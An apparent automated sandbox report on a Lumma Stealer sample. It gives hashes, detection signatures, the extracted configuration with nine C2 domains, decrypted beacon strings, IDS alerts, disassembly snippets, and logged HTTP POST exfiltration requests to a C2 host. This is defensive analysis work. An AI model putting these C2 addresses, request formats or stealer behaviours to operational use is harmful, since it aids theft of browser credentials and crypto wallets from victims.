Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545731
MD5:	998c59d4bf9c18e798a6db77f7ce10f9
SHA1:	4d3205af0bb4d029c3421be1eebce7271966b4c5
SHA256:	e0d3da58a38b98b5d9ba1241fb1b30d7251332883b285117e6d2794af0c66394
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2516 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 998C59D4BF9C18E798A6DB77F7CE10F9)

conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

file.exe (PID: 4088 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 998C59D4BF9C18E798A6DB77F7CE10F9)

WerFault.exe (PID: 3688 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 152 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["seallysl.site", "contemteny.site", "goalyfeastz.site", "opposezmny.site", "forbidstow.site", "servicedny.site", "dilemmadu.site", "faulteyotk.site", "authorisev.site"], "Build id": "1NCW25--424"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2118733198.0000000001379000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2118075950.0000000001379000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2130598412.0000000001379000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2147992648.0000000001379000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2149945390.000000000137B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4088	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4088	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4088	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:23:00.028830+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.41.39	443	TCP
2024-10-30T22:23:01.444131+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49706	104.21.41.39	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:23:00.028830+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.41.39	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:23:01.444131+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49706	104.21.41.39	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:23:03.137386+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.41.39	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:23:08.621674+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49716	104.21.41.39	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2279638953.0000000001183000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["seallysl.site", "contemteny.site", "goalyfeastz.site", "opposezmny.site", "forbidstow.site", "servicedny.site", "dilemmadu.site", "faulteyotk.site", "authorisev.site"], "Build id": "1NCW25--424"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: servicedny.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: authorisev.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: faulteyotk.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: dilemmadu.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: contemteny.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: goalyfeastz.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: opposezmny.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: seallysl.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: forbidstow.site
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 1NCW25--424

Source: C:\Users\user\Desktop\file.exe

Code function: 3_2_0041D5AF CryptUnprotectData,

3_2_0041D5AF

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49716 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD55BC FindFirstFileExW,	0_2_00BD55BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD566D FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00BD566D
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BD55BC FindFirstFileExW,	3_2_00BD55BC
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BD566D FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00BD566D

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5A603547h]	3_2_00410130
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], dl	3_2_00410130
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [ecx+eax-24F86745h]	3_2_00410130
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, ecx	3_2_00410130
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, ecx	3_2_00410130
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	3_2_004441F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, ecx	3_2_0044137E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, ecx	3_2_004413D5
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	3_2_0041D5AF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, eax	3_2_0043A97E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [eax+ebx*8], 7CDE1E50h	3_2_0043A97E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B62B8D10h	3_2_0043A97E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	3_2_0042EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, eax	3_2_0042EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then lea edx, dword ptr [eax-80h]	3_2_0042EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+0000009Ch]	3_2_0042EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+068F7B6Bh]	3_2_0042EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	3_2_0042EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 30303030h	3_2_00401000
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 20202020h	3_2_00401000
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B62B8D10h	3_2_0043B170
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5A603547h]	3_2_00410118
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], dl	3_2_00410118
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [ecx+eax-24F86745h]	3_2_00410118
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, ecx	3_2_00410118
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, ecx	3_2_00410118
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	3_2_004431D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	3_2_004431D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7DC9E524h]	3_2_004241E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	3_2_00442EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	3_2_00442EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	3_2_004432C0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	3_2_004432C0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [eax+ebx], 00000030h	3_2_004012D5
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, ebx	3_2_00421333
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	3_2_00444380
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	3_2_004433B0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	3_2_004433B0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_0042E400
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+0000009Ch]	3_2_0042F4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+068F7B6Bh]	3_2_0042F4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	3_2_0042F4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042F4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, eax	3_2_0040D500
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_0041F510
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0041F510
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-67BC38F0h]	3_2_00441648
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	3_2_0043C6D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041C6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+52B71DE2h]	3_2_00441720
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	3_2_00443720
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx-09A22FB6h]	3_2_0043F7E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	3_2_0042E870
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+ebx]	3_2_00405820
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041C8CE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, eax	3_2_0040E8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+esi]	3_2_0040C960
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, eax	3_2_0040E996
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	3_2_0042AA40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1817620Ch]	3_2_0042AA60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042CA72
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042CA72
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2BB126CDh]	3_2_0043FAD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, edx	3_2_00421B40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp al, 2Eh	3_2_0042AC04
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, esi	3_2_0041ECDE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00437CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042DE70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp+3Ch], 595A5B84h	3_2_00440E3A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, dword ptr [esp+54h]	3_2_0042CEDA
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	3_2_00442EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	3_2_00442EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_00425F00
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edi, word ptr [edx]	3_2_00428F00

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.41.39:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.41.39:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.41.39:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49706 -> 104.21.41.39:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 104.21.41.39:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49716 -> 104.21.41.39:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: seallysl.site
Source: Malware configuration extractor	URLs: contemteny.site
Source: Malware configuration extractor	URLs: goalyfeastz.site
Source: Malware configuration extractor	URLs: opposezmny.site
Source: Malware configuration extractor	URLs: forbidstow.site
Source: Malware configuration extractor	URLs: servicedny.site
Source: Malware configuration extractor	URLs: dilemmadu.site
Source: Malware configuration extractor	URLs: faulteyotk.site
Source: Malware configuration extractor	URLs: authorisev.site

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: forbidstow.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 45Host: forbidstow.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12833Host: forbidstow.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15075Host: forbidstow.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20565Host: forbidstow.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1272Host: forbidstow.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568525Host: forbidstow.site

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: forbidstow.site

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: forbidstow.site

Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
